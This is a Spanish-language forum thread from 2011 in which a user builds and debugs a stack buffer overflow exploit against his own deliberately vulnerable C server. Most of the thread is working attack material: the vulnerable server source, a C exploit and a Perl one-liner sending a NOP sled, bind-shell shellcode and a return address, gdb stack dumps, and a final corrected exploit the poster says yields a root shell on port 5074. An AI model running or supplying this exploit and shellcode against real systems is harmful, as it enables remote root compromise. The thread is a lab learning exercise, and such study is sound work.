elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  ¿Qué pasa con mi buffer? [¡¡¡Resuelto!!!]
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: ¿Qué pasa con mi buffer? [¡¡¡Resuelto!!!]  (Leído 3,222 veces)
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
¿Qué pasa con mi buffer? [¡¡¡Resuelto!!!]
« en: 3 Marzo 2011, 20:55 pm »

Bueno, puede que el título no sea muy elegante, pero es lo que se me ha ocurrido. Os explico:
Tengo una aplicación (Code 1) que estoy explotando. Ahora, he conseguido explotarla desde un comando en la consola. Y os escribo esto a causa del exploit que estoy haciendo y que no funciona ni grabándolo en un CD y oyéndolo al revés...
La cosa es que la shellcode se me "duplica" modificando el ret...

Os dejo algunos códigos, a ver si me podéis echar una manita...
__________________________________________________________________________________________
Exploit in action [Capt 0.1]
Código:
juanra@Juanra:~/Escritorio/Serv$ ./exploit 127.0.0.1 31337
Vuln 2.0 Exploit 0.1 : Sagrini 2011 : elhacker.net
Creating socket... [OK]
Conecting target... [OK]
Creating buffer... [OK]
Sending buffer... [OK]

Now you can exec NC [nc -vv localhost 5074]
Be good!

juanra@Juanra:~/Escritorio/Serv$
__________________________________________________________________________________________
Serv in action [Capt 0.2]
Código:
juanra@Juanra:~/Escritorio/Serv$ sudo gdb -q serv
[sudo] password for juanra:
(gdb) r 31337
Starting program: /home/juanra/Escritorio/Serv/serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 03/03/2011 20:59:09
03/03/2011 20:59:09   Starting up...

03/03/2011 20:59:11   Got connection from 127.0.0.1:60359
03/03/2011 20:59:11   RECV 427 bytes: ������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�P@��P@P���f̀1�Rfh�CfS��jQP���f̀@�D$CC�f̀��
          RRC�f̀��Ѱ?̀A��u�Rhn/shh//bi��RS���
                                          
__________________________________________________________________________________________
Serv.c [Code 1]
Código
  1. #include <sys/socket.h>
  2. #include <arpa/inet.h>
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <signal.h>
  7. #include <time.h>
  8.  
  9. int sockfd, newsock;
  10.  
  11. void shutup (int signal)
  12. {
  13. times ();
  14. printf ("Shutting down...\n\n");
  15. close (newsock);
  16. close (sockfd);
  17. exit (0);
  18. }
  19.  
  20. int times ()
  21. {
  22. time_t now=time (0);
  23. struct tm *ahora;
  24. char buffer [40];
  25. ahora=localtime ((const time_t*)&now);
  26. strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  27. printf ("%s   ", buffer);
  28. return 0;
  29. }
  30.  
  31. int handle_connect (char *buffer)
  32. {
  33. char buff [256];
  34. strcpy (buff, buffer);
  35.  
  36. times ();
  37. buff [strlen (buff)-1]='\0';
  38. printf ("RECV %d bytes: %s\n", strlen (buff), buff);
  39. }
  40.  
  41. int main (int argc, char *argv [])
  42. {
  43. time_t now=time (0);
  44. struct tm *ahora;
  45. char hora [40];
  46. ahora=localtime ((const time_t*)&now);
  47. strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  48. printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora);
  49.  
  50. if (getuid()!=0)
  51. {
  52. printf ("This proccess must be run by root.\n\n");
  53. return 1;
  54. }
  55. if (argc<2)
  56. {
  57. printf ("Use: %s <PORT>\n\n", argv [0]);
  58. return 1;
  59. }
  60. int cont;
  61. struct sockaddr_in client, host;
  62. char buffer [1024];
  63. int size=sizeof (client);
  64.  
  65. sockfd=socket (2, 1 ,  0);
  66. host.sin_family=AF_INET;
  67. host.sin_port=htons (atoi (argv [1]));
  68. host.sin_addr.s_addr=0;
  69. bind (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
  70.  
  71. listen (sockfd, 3);
  72.  
  73. times ();
  74. printf ("Starting up...\n\n");
  75.  
  76. signal (SIGTERM, shutup);
  77. signal (SIGINT, shutup);
  78.  
  79. while (1)
  80. {
  81. newsock=accept (sockfd, (struct sockaddr*)&client, &size);
  82.  
  83. times ();
  84. printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  85.  
  86. cont=recv (newsock, &buffer, 1024, 0);
  87. while (cont>1)
  88. {
  89. handle_connect (buffer);
  90. cont=recv (newsock, &buffer, 1024, 0);
  91. }
  92. times ();
  93. printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  94. close (newsock);
  95. }
  96. close (sockfd);
  97. return 0;
  98. }
  99.  
__________________________________________________________________________________________
Exploit.c [Code 2]
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <arpa/inet.h>
  5. #include <sys/socket.h>
  6.  
  7. int main (int argc, char *argv [])
  8. {
  9. printf ("Vuln 2.0 Exploit 0.1 : Sagrini 2011 : elhacker.net\n");
  10. if (argc != 3)
  11. {
  12. printf ("!!! Use: %s <target_ip> <port>\n\n", argv [0]);
  13. return 1;
  14. }
  15.  
  16. printf ("Creating socket...\t");
  17. struct sockaddr_in host; int sockfd;
  18. host.sin_family = AF_INET;
  19. host.sin_port = htons (atoi (argv [2]));
  20. host.sin_addr.s_addr = inet_addr (argv [1]);
  21. memset (host.sin_zero, 0, 8);
  22. if ((sockfd=socket (2, 1, 0))==-1)
  23. {
  24. printf ("[FAIL]\n\n");
  25. return 1;
  26. }
  27. else printf ("[OK]\n");
  28.  
  29. printf ("Conecting target...\t");
  30. if ((connect (sockfd, (struct sockaddr*)&host, sizeof (host)))==-1)
  31. {
  32. printf ("[FAIL]\n\n");
  33. return 1;
  34. }
  35. else printf ("[OK]\n");
  36.  
  37. printf ("Creating buffer...\t");
  38. char nops [168];
  39. memset (nops, '\x90', 168);
  40. puts (nops);
  41. char shellcode [93] = "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52"
  42. "\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd"
  43. "\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43"
  44. "\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52"
  45. "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b"
  46. "\xcd\x80";
  47. char ret [6] = "AAAA\x90";
  48. char command [265];
  49. strcpy (command, nops);
  50. strcat (command, shellcode);
  51. strcat (command, ret);
  52. printf ("[OK]\n");
  53.  
  54. printf ("Sending buffer...\t");
  55. if (send (sockfd, &command, strlen (command), 0)==-1)
  56. {
  57. printf ("[FAIL]\n\n");
  58. return 1;
  59. }
  60. else printf ("[OK]\n\n");
  61.  
  62. printf ("Now you can exec NC [nc -vv localhost 5074]\nBe good!\n\n");
  63. return 0;
  64. }
  65.  
__________________________________________________________________________________________
Exploit Perl [Capt 1]
Código:
juanra@Juanra:~/Escritorio/Serv$ perl -e 'print "\x90"x168 . "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x50\f8\xff\xbf" . "\x90"' | nc -vv localhost 31337
+++++++++++++++++++++++++++++++++++++++++++
juanra@Juanra:~/Escritorio/Serv$ nc -vv localhost 5074 [Conectarme como root :P]
__________________________________________________________________________________________
GDB look at ESP [Capt 2]
Citar
(gdb) x/5000x $esp
0xbffff800:   0x4050c389   0xb0e18950   0x3180cd66   0x686652d2
0xbffff810:   0x6643d213   0x6ae18953   0x89505110   0xcd66b0e1
0xbffff820:   0x44894080   0x43430424   0x80cd66b0   0x520cc483
0xbffff830:   0x66b04352   0x899380cd   0xcd3fb0d1   0xf9804180
0xbffff840:   0x52f67503   0x732f6e68   0x2f2f6868   0xe3896962
0xbffff850:   0xe1895352   0x80cd0bb0   0x41414141   0xb7ff6e90
0xbffff860:   0xb7fed1f8   0xb7fff2a0   0xbffffa0c   0xb7ff1413
0xbffff870:   0xb7e80428   0xb7fe25a2   0xb7ff7990   0xb7ff79b0
0xbffff880:   0xb7ffb028   0xb7ffbb31   0xb7ffbb31   0xb7ff7990
0xbffff890:   0xb7ff79b0   0xb7ffb028   0xb7ffbb31   0xb7fff2a0
0xbffff8a0:   0x00ffeff4      0x90909000   0x90909090   0x90909090
0xbffff8b0:   0x90909090   0x90909090   0x90909090   0x90909090
0xbffff8c0:   0x90909090   0x90909090   0x90909090   0x90909090
0xbffff8d0:   0x90909090   0x4050c031   0x4050c389   0xb0e18950
0xbffff8e0:   0x3180cd66   0x686652d2   0x6643d213   0x6ae18953
0xbffff8f0:      0x89505110   0xcd66b0e1   0x44894080   0x43430424
0xbffff900:   0x80cd66b0   0x520cc483   0x66b04352   0x899380cd
0xbffff910:   0xcd3fb0d1   0xf9804180   0x52f67503   0x732f6e68
0xbffff920:   0x2f2f6868   0xe3896962   0xe1895352   0x80cd0bb0
0xbffff930:   0x4050c031   0x4050c389   0xb0e18950   0x3180cd66
0xbffff940:   0x686652d2   0x6643d213   0x6ae18953   0x89505110
0xbffff950:   0xcd66b0e1   0x44894080   0x43430424   0x80cd66b0
0xbffff960:   0x520cc483   0x66b04352   0x899380cd   0xcd3fb0d1
---Type <return> to continue, or q <return> to quit---
0xbffff970:   0xf9804180   0x52f67503   0x732f6e68   0x2f2f6868
0xbffff980:   0xe3896962   0xe1895352   0x80cd0bb0   0x41414141
0xbffff990:   0xb7ff6e90   0xb7fed1f8   0xb7fff2a0   0xbffffa0c
0xbffff9a0:   0xb7ff1413   0xb7e80428   0xb7fe25a2   0xb7ff7990
0xbffff9b0:   0xb7ff79b0   0xb7ffb028   0xb7ffbb31   0xb7ffbb31
0xbffff9c0:   0xb7ff7990   0xb7ff79b0   0xb7ffb028   0xb7ffbb31
0xbffff9d0:   0xb7fff2a0   0xb7ffeff4      0xb7fe2000   0x00000007
0xbffff9e0:   0xb7fe2450   0x00000000   0x00000008   0x00000070
0xbffff9f0:      0xb7edf620   0x00000001   0xb7fe0d60   0x0804a054
0xbffffa00:   0xb7ffeff4      0x0000000c   0x00000007   0xbffffa94
0xbffffa10:   0xb7ff19ae   0x00000007   0x00000010   0x00000001
0xbffffa20:   0xb7fe25ce   0x00000000   0xb7fe2778   0xb7fe22f0
0xbffffa30:   0xb7fe0d40   0xb7fff014   0x00000002   0xb7fff2a0
0xbffffa40:   0xb7ff6e01   0x00000000   0xb7fe2290   0xb7fe2450
0xbffffa50:   0x00000000   0xb7ffef98   0x00000006   0xb7fe25ce
0xbffffa60:   0xb7fe2290   0x00000000   0x00000000   0xb7ff6f35
0xbffffa70:   0x00000008   0x00000088   0xb7ffeff4   0xbffffa94
0xbffffa80:   0xb7ff701e   0x00000088   0xbffffacc   0xbffffae8
0xbffffa90:   0x00000000   0xbffffabc      0xb7ff3209   0x00000011
0xbffffaa0:   0x00000008   0xb7e6d6c0   0x00000038   0x00000001
0xbffffab0:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffac0:   0x00000000   0x00000208   0xb7fe26d0   0x000000a8
0xbffffad0:   0x00000000   0x00000000   0x00000000   0xb7fe0dcc
---Type <return> to continue, or q <return> to quit---
0xbffffae0:   0xb7fea3b2   0xb7fd1000   0x0000df31   0xb7ffeff4
0xbffffaf0:      0xbffffcb0      0xb7fe536d   0xb7e7a400   0x0d696910
0xbffffb00:   0xbffffb38      0xb7feabe8   0xb7e8041e   0x0804848d
0xbffffb10:   0x00000000   0xb7fff948   0xb7fe0b40   0xbfff0002
0xbffffb20:   0xb7ff0ca8   0x080483dc   0xb7fff954   0xb7ffeff4
0xbffffb30:   0xb7fe0b14   0x00000001   0xbffffbb4   0xb7feafdd
0xbffffb40:   0x00000000   0x00000000   0x00000000   0x00000000
0xbffffb50:   0x00000000   0xb7ffae88   0xbffffb80   0x00000000
0xbffffb60:   0xf63d4e2e   0xb7fe0858   0x07b1ea71   0x00000003
0xbffffb70:   0xb7e71d10   0xb7e71b08   0x00000000   0x00000000
0xbffffb80:   0x00000000   0x00000000   0x00000001   0x0000086f
0xbffffb90:   0xb7fe0b40   0xb7fe0858   0x08048475   0xb7e7ac20
0xbffffba0:   0x080482ac   0x00000001   0xb7ffeff4   0xf63d4e2e
0xbffffbb0:   0xb7fff828   0xbffffca0      0xb7feb1ef   0xbffffc90
0xbffffbc0:   0x080482ac   0xbffffc84      0xb7fff7cc   0x00000000
0xbffffbd0:   0xb7fe0b40   0x00000001   0x00000000   0x00000001
0xbffffbe0:   0xb7fff658   0x00000000   0x00010000   0x00000000
0xbffffbf0:      0xb7fe1168   0x00000000   0xbffffc90      0xbffffc84
0xbffffc00:   0x00000000   0x00000000   0x00000000   0xbffffcd0
0xbffffc10:   0xb7fff670   0x08048475   0x00000000   0x00000000
0xbffffc20:   0x00000000   0x00000000   0xb7fe3000   0x697a0002
0xbffffc30:   0x00000000   0x00000000   0x00000000   0xb2b70002
0xbffffc40:   0x0100007f   0x00000000   0x00000000   0x302f3330
---Type <return> to continue, or q <return> to quit---
0xbffffc50:   0x30322f33   0x32203131   0x31333a30   0x0030333a
0xbffffc60:   0xb7f8f329   0x08049ff4   0xbffffc78      0x080485d0
0xbffffc70:   0xb7fccff4      0x4d6fec92   0xb7fd0360   0x00000165
0xbffffc80:   0xbffffca0      0xb7fccff4      0xbffffcf8      0xb7e84775
0xbffffc90:   0x08048bd0   0x08048750   0xbffffcf8      0xb7e84775
0xbffffca0:   0x00000002   0xbffffd24      0xbffffd30      0xb7fe0b40
0xbffffcb0:   0x00000001   0x00000001   0x00000000   0x08048475
0xbffffcc0:      0xb7fccff4      0x08048bd0   0x08048750   0xbffffcf8
0xbffffcd0:   0xb5bf4009   0x9ac87419   0x00000000   0x00000000
0xbffffce0:   0x00000000   0xb7ff57f0   0xb7e8469d   0xb7ffeff4
0xbffffcf0:      0x00000002   0x08048750   0x00000000   0x08048771
0xbffffd00:   0x08048908   0x00000002   0xbffffd24      0x08048bd0
0xbffffd10:   0x08048bc0   0xb7ff07b0   0xbffffd1c      0xb7ffbd83
0xbffffd20:   0x00000002   0xbffffe28      0xbffffe4a      0x00000000
0xbffffd30:   0xbffffe50      0xbffffe60      0xbffffe6b      0xbffffe75
0xbffffd40:   0xbffffe86      0xbffffe94      0xbffffea2      0xbffffead
0xbffffd50:   0xbffffefe      0xbfffff1f      0xbfffff30      0xbfffff39
0xbffffd60:   0xbfffff41      0xbfffff63      0xbfffff75      0xbfffff82
0xbffffd70:   0xbfffff90      0xbfffff9d      0xbfffffb6      0x00000000
0xbffffd80:   0x00000020   0xb7fe1420   0x00000021   0xb7fe1000
0xbffffd90:   0x00000010   0xbfebfbff      0x00000006   0x00001000
0xbffffda0:   0x00000011   0x00000064   0x00000003   0x08048034
0xbffffdb0:   0x00000004   0x00000020   0x00000005   0x00000008
---Type <return> to continue, or q <return> to quit---
0xbffffdc0:   0x00000007   0xb7fe2000   0x00000008   0x00000000
0xbffffdd0:   0x00000009   0x08048750   0x0000000b   0x00000000
0xbffffde0:   0x0000000c   0x00000000   0x0000000d   0x00000000
0xbffffdf0:      0x0000000e   0x00000000   0x00000017   0x00000000
0xbffffe00:   0x0000001f   0xbfffffda      0x0000000f   0xbffffe1b
0xbffffe10:   0x00000000   0x00000000   0x69000000   0x00363836
0xbffffe20:   0x00000000   0x00000000   0x6d6f682f   0x756a2f65
0xbffffe30:   0x61726e61   0x6373452f   0x6f746972   0x2f6f6972
0xbffffe40:   0x76726553   0x7265732f   0x31330076   0x00373333
0xbffffe50:   0x4c454853   0x622f3d4c   0x622f6e69   0x00687361
0xbffffe60:   0x4d524554   0x6574783d   0x55006d72   0x3d524553
0xbffffe70:   0x746f6f72   0x44555300   0x53555f4f   0x6a3d5245
0xbffffe80:   0x726e6175   0x55530061   0x555f4f44   0x313d4449
0xbffffe90:   0x00303030   0x52455355   0x454d414e   0x6f6f723d
0xbffffea0:   0x4f430074   0x4e4d554c   0x30383d53   0x54415000
0xbffffeb0:   0x752f3d48   0x6c2f7273   0x6c61636f   0x6962732f
0xbffffec0:   0x752f3a6e   0x6c2f7273   0x6c61636f   0x6e69622f
0xbffffed0:   0x73752f3a   0x62732f72   0x2f3a6e69   0x2f727375
0xbffffee0:   0x3a6e6962   0x6962732f   0x622f3a6e   0x2f3a6e69
0xbffffef0:      0x2f727375   0x52313158   0x69622f36   0x5750006e
0xbfffff00:      0x682f3d44   0x2f656d6f   0x6e61756a   0x452f6172
0xbfffff10:      0x69726373   0x69726f74   0x65532f6f   0x4c007672
0xbfffff20:      0x3d474e41   0x455f7365   0x54552e53   0x00382d46
---Type <return> to continue, or q <return> to quit---
0xbfffff30:      0x454e494c   0x34323d53   0x4c485300   0x303d4c56
0xbfffff40:      0x44555300   0x4f435f4f   0x4e414d4d   0x752f3d44
0xbfffff50:      0x622f7273   0x672f6e69   0x2d206264   0x65732071
0xbfffff60:      0x48007672   0x3d454d4f   0x6d6f682f   0x756a2f65
0xbfffff70:      0x61726e61   0x474f4c00   0x454d414e   0x6f6f723d
0xbfffff80:      0x55530074   0x475f4f44   0x313d4449   0x00303030
0xbfffff90:      0x50534944   0x3d59414c   0x302e303a   0x4c4f4300
0xbfffffa0:      0x4554524f   0x673d4d52   0x656d6f6e   0x7265742d
0xbfffffb0:      0x616e696d   0x4158006c   0x4f485455   0x59544952
0xbfffffc0:      0x6f682f3d   0x6a2f656d   0x726e6175   0x582e2f61
0xbfffffd0:      0x68747561   0x7469726f   0x682f0079   0x2f656d6f
0xbfffffe0:      0x6e61756a   0x452f6172   0x69726373   0x69726f74
0xbffffff0:      0x65532f6f   0x732f7672   0x00767265   0x00000000

Un saludo a todos y muchas gracias...
« Última modificación: 5 Marzo 2011, 22:28 pm por Sagrini » En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Ivanchuk


Desconectado Desconectado

Mensajes: 469


LLVM


Ver Perfil WWW
Re: ¿Qué pasa con mi buffer?
« Respuesta #1 en: 4 Marzo 2011, 14:16 pm »

Hola Sagrini,

La debes tener dos veces porq primero la recibis en buffer y despues llamas a handle_connect que la copia a buff.
Otro detalle, tene cuidado cuando armas el payload
Código
  1. char nops [168];
  2. memset (nops, '\x90', 168);
  3. puts (nops);
  4. char shellcode [93] = "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52"
  5. "\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd"
  6. "\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43"
  7. "\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52"
  8. "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b"
  9. "\xcd\x80";
  10. char ret [6] = "AAAA\x90";
  11. char command [265];
  12. strcpy (command, nops);
  13. strcat (command, shellcode);
  14. strcat (command, ret);
  15.  

Si usas memset, el caracter nulo que marca el final del string no te lo agrega.
Código
  1. char nops [168];
  2. memset (nops, '\x90', 168);
  3.  

Y despues strcpy o strcat hacen cualquier cosa. Cuando inicializas los char [] no hay problema, el compilador te los agrega automaticamente.

Aca te lo pase en limpio (en c++) espero que te sirva

Código
  1. #include <iostream>
  2.  
  3. using namespace std;
  4.  
  5. int main (int argc, char *argv [])
  6. {
  7. string nops(168, '\x90');
  8.  
  9. string shellcode("\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52"
  10. "\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd"
  11. "\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43"
  12. "\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52"
  13. "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b"
  14. "\xcd\x80");
  15.  
  16. string ret("AAAA\x90");
  17.  
  18. string command(nops + shellcode + ret);
  19.  
  20. cout << command;
  21.  
  22. return 0;
  23. }
  24.  

Lo podes verificar con hexdump si queres
Código
  1. $./a.out | hexdump -v
  2.  

Saludos
« Última modificación: 4 Marzo 2011, 15:09 pm por Ivanchuk » En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: ¿Qué pasa con mi buffer?
« Respuesta #2 en: 4 Marzo 2011, 21:30 pm »

Sí, pero la cosa es que el retorno se me sitúa al principio de una de ellas... Ahh! Siempre se me olvida, el RET retrocede cuatro bytes, a lo mejor es por eso :P Luego miro a ver...

Gracias, la vida está llena de despistes... En este mismo caso tuve un problema que me llevó su tiempo: En el retorno no habí puesto bien todo...
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: ¿Qué pasa con mi buffer?
« Respuesta #3 en: 5 Marzo 2011, 19:49 pm »

Tanan!!! Fin!!!
La cosa era que la shellcode se copiaba dos veces porque, como bien dice Iván (no lo interpreté bien...), la shellcode se copia dos veces porque memset no le pone un \x00 al final...
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <arpa/inet.h>
  5. #include <sys/socket.h>
  6.  
  7. int main (int argc, char *argv [])
  8. {
  9. printf ("Vuln 2.0 Exploit 0.1 : Sagrini 2011 : elhacker.net\n");
  10. if (argc != 3)
  11. {
  12. printf ("!!! Use: %s <target_ip> <port>\n\n", argv [0]);
  13. return 1;
  14. }
  15.  
  16. printf ("Creating socket...\t");
  17. struct sockaddr_in host; int sockfd;
  18. host.sin_family = AF_INET;
  19. host.sin_port = htons (atoi (argv [2]));
  20. host.sin_addr.s_addr = inet_addr (argv [1]);
  21. memset (host.sin_zero, 0, 8);
  22. if ((sockfd=socket (2, 1, 0))==-1)
  23. {
  24. printf ("[FAIL]\n\n");
  25. return 1;
  26. }
  27. else printf ("[OK]\n");
  28.  
  29. printf ("Conecting target...\t");
  30. if ((connect (sockfd, (struct sockaddr*)&host, sizeof (host)))==-1)
  31. {
  32. printf ("[FAIL]\n\n");
  33. return 1;
  34. }
  35. else printf ("[OK]\n");
  36.  
  37. printf ("Creating buffer...\t");
  38. char nops [169];
  39. memset (nops, '\x90', 168);
  40. nops [168] = '\x00';
  41. char shellcode [93] = "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10"
  42. "\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66\xcd\x80"
  43. "\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89"
  44. "\xe1\xb0\x0b\xcd\x80";
  45. char ret [6] = "\x50\xf8\xff\xbf\x90";
  46. char command [265];
  47. strcpy (command, nops);
  48. strcat (command, shellcode);
  49. strcat (command, ret);
  50. printf ("[OK]\n");
  51.  
  52. printf ("Sending buffer...\t");
  53. if (send (sockfd, &command, strlen (command), 0)==-1)
  54. {
  55. printf ("[FAIL]\n\n");
  56. return 1;
  57. }
  58. else printf ("[OK]\n\n");
  59.  
  60. printf ("Now you can exec NC [nc -vv %s 5074]\nBe good!\n\n", argv [1]);
  61. return 0;
  62. }
  63.  

Un saludo!!!

____________________
Modf: Lo acabo de probar en otro sistema, y sólo con desactivar el randomize_va_space y cambiar el RET, todo va perfectamente y me abre una shell con privilegios root en el puerto 5074. Conseguido! Ahora voy a ver por qué no funciona fuera del GDB...
« Última modificación: 5 Marzo 2011, 23:36 pm por Sagrini » En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Buffer
Software
Shadow 1 3,435 Último mensaje 4 Septiembre 2002, 20:26 pm
por Bres
buffer
Software
Yoshi 1 1,503 Último mensaje 20 Junio 2003, 16:34 pm
por Cobac
Buffer under run
Software
Zakt 2 1,563 Último mensaje 22 Diciembre 2003, 16:32 pm
por dark_headhunter
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines